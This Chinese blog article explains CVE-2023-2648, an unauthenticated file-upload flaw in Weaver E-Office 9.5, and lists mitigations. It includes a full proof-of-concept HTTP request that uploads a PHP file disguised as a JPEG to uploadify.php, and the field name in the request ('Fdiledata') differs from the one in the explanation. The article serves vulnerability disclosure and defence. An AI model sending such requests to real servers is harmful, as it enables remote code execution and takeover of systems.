Weaver E-Office v9.5 文件上传漏洞(CVE-2023-2648)

2024-06-19 23:36

本文主要是介绍Weaver E-Office v9.5 文件上传漏洞(CVE-2023-2648),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

CVE-2023-2648 是一个在 Weaver E-Office 9.5 版本中发现的严重漏洞。此漏洞位于文件 /inc/jquery/uploadify/uploadify.php 中,通过操控 Filedata 参数,可以进行不受限制的文件上传。这一漏洞允许攻击者上传可能包含危险类型的文件,并在应用程序环境中执行。该漏洞可以通过远程发起攻击,且已被公开披露,构成了严重的安全风险。

此漏洞被分类为 CWE-434:不受限制的危险类型文件上传。根据 CVSS v3.1 评分,此漏洞的基本评分为 9.8,表明其严重性极高。这意味着它可以通过网络在无需用户交互或事先认证的情况下被利用,对保密性、完整性和可用性产生高影响​ (NVD)​​ (Tenable®)​​ (MITRE CVE)​​ (Aqua Vulnerability Database)​。

对此漏洞的缓解措施包括:

  1. 实施严格的输入验证,确保仅允许指定的文件类型和内容。
  2. 使用白名单方法,根据已知的良好标准验证输入。
  3. 在沙盒环境中运行应用程序,以限制潜在利用的影响。
  4. 使用如 AppArmor 或 SELinux 等安全机制来强制执行文件操作的严格边界​ (Aqua Vulnerability Database)​。

有关更多详情,可以参考 MITRE CVE 网站 和 国家漏洞数据库。

POC 分析 

POST /inc/jquery/uploadify/uploadify.php  HTTP/1.1
Host: xxxx8088
Content-Length: 204
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
Content-Disposition: form-data; name="Fdiledata"; filename="uploadify.php."
Content-Type: image/jpeg<?php phpinfo();?>
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
  1. HTTP 请求方法POST

    • 请求使用了 POST 方法,将数据上传到服务器。
  2. 请求路径/inc/jquery/uploadify/uploadify.php

    • 目标路径是 uploadify.php 文件,该文件是存在漏洞的部分。
  3. 头部信息

    • Host: 目标服务器地址(以 xxxx8088 作为示例)。
    • Content-Length: 请求体的长度。
    • Content-Type: 设置为 multipart/form-data,表示请求体中包含多个部分的数据。
    • User-Agent: 请求发送的客户端信息。
    • AcceptAccept-EncodingAccept-Language: 指定客户端接受的响应格式和语言。
  4. 请求体

    • Boundary:分隔符 ----WebKitFormBoundarydRVCGWq4Cx3Sq6tt 用于区分多个表单数据部分。
    • Content-Disposition:表明这是一个表单数据项,name="Filedata" 指定了表单字段名,filename="uploadify.php." 指定了上传的文件名。
    • Content-Type:虽然文件名是 .php,但类型被误导为 image/jpeg
    • 文件内容:PHP 代码 <?php phpinfo();?>,这是一个简单的 PHP 脚本,用于显示 PHP 的配置信息。

漏洞利用

  1. 文件上传:通过操控 Filedata 参数,将任意文件上传到服务器。由于文件类型检查不严格,攻击者可以上传包含恶意代码的 PHP 文件。
  2. 远程代码执行:上传的文件会在服务器上执行,导致远程代码执行。此处上传的 uploadify.php. 文件包含 PHP 代码 <?php phpinfo();?>,可在服务器上执行并显示 PHP 信息。

风险与防范

风险

  • 远程代码执行:攻击者可以上传并执行任意代码,完全控制服务器。
  • 信息泄露:通过上传恶意脚本,攻击者可以获取服务器上的敏感信息。

防范措施

  1. 严格验证文件类型:仅允许特定类型的文件上传,拒绝一切不符合要求的文件类型。
  2. 文件名检查:确保文件名没有危险的扩展名,例如 .php
  3. 使用白名单策略:仅接受已知良好的输入。
  4. 隔离上传目录:将上传的文件存储在一个仅允许有限权限访问的目录中,防止文件直接执行。

通过这些措施,可以有效减少此类漏洞被利用的风险。

漏洞复现 

uploadify.php 上传成功,返回随机文件夹名称

这篇关于Weaver E-Office v9.5 文件上传漏洞(CVE-2023-2648)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1076466

相关文章

CSP 2023 提高级第一轮 CSP-S 2023初试题 完善程序第二题解析 未完

一、题目阅读 (最大值之和)给定整数序列 a0,⋯,an−1,求该序列所有非空连续子序列的最大值之和。上述参数满足 1≤n≤105 和 1≤ai≤108。 一个序列的非空连续子序列可以用两个下标 ll 和 rr(其中0≤l≤r<n0≤l≤r<n)表示,对应的序列为 al,al+1,⋯,ar​。两个非空连续子序列不同,当且仅当下标不同。 例如,当原序列为 [1,2,1,2] 时,要计算子序列 [

Spring MVC 图片上传

引入需要的包 <dependency><groupId>commons-logging</groupId><artifactId>commons-logging</artifactId><version>1.1</version></dependency><dependency><groupId>commons-io</groupId><artifactId>commons-

解决Office Word不能切换中文输入

我们在使用WORD的时可能会经常碰到WORD中无法输入中文的情况。因为,虽然我们安装了搜狗输入法,但是到我们在WORD中使用搜狗的输入法的切换中英文的按键的时候会发现根本没有效果,无法将输入法切换成中文的。下面我就介绍一下如何在WORD中把搜狗输入法切换到中文。

HNU-2023电路与电子学-实验3

写在前面: 一、实验目的 1.了解简易模型机的内部结构和工作原理。 2.分析模型机的功能,设计 8 重 3-1 多路复用器。 3.分析模型机的功能,设计 8 重 2-1 多路复用器。 4.分析模型机的工作原理,设计模型机控制信号产生逻辑。 二、实验内容 1.用 VERILOG 语言设计模型机的 8 重 3-1 多路复用器; 2.用 VERILOG 语言设计模型机的 8 重 2-1 多

在SSH的基础上使用jquery.uploadify.js上传文件

在SSH框架的基础上,使用jquery.uploadify.js实现文件的上传,之前搞了好几天,都上传不了, 在Action那边File接收到的总是为null, 为了这个还上网搜了好多相关的信息,但都不行,最后还是搜到一篇文章帮助到我了,希望能帮助到为之困扰的人。 jsp页面的关键代码: <link rel="stylesheet" type="text/css" href="${page

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

Vue3上传图片报错:Current request is not a multipart request

当你看到错误 "Current request is not a multipart request" 时,这通常意味着你的服务器或后端代码期望接收一个 multipart/form-data 类型的请求,但实际上并没有收到这样的请求。在使用 <el-upload> 组件时,如果你已经设置了 http-request 属性来自定义上传行为,并且遇到了这个错误,可能是因为你在发送请求时没有正确地设置

OpenStack:Glance共享与上传、Nova操作选项解释、Cinder操作技巧

目录 Glance member task Nova lock shelve rescue Cinder manage local-attach transfer backup-export 总结 原作者:int32bit,参考内容 从2013年开始折腾OpenStack也有好几年的时间了。在使用过程中,我发现有很多很有用的操作,但是却很少被提及。这里我暂不直接

使用http-request 属性替代action绑定上传URL

在 Element UI 的 <el-upload> 组件中,如果你需要为上传的 HTTP 请求添加自定义的请求头(例如,为了通过身份验证或满足服务器端的特定要求),你不能直接在 <el-upload> 组件的属性中设置这些请求头。但是,你可以通过 http-request 属性来自定义上传的行为,包括设置请求头。 http-request 属性允许你完全控制上传的行为,包括如何构建请求、发送请

Java反序列化漏洞-TemplatesImpl利用链分析

文章目录 一、前言二、正文1. 寻找利用链2. 构造POC2.1 生成字节码2.2 加载字节码1)getTransletInstance2)defineTransletClasses 2.3 创建实例 3. 完整POC 三、参考文章 一、前言 java.lang.ClassLoader#defineClass defineClass可以加载字节码,但由于defineClas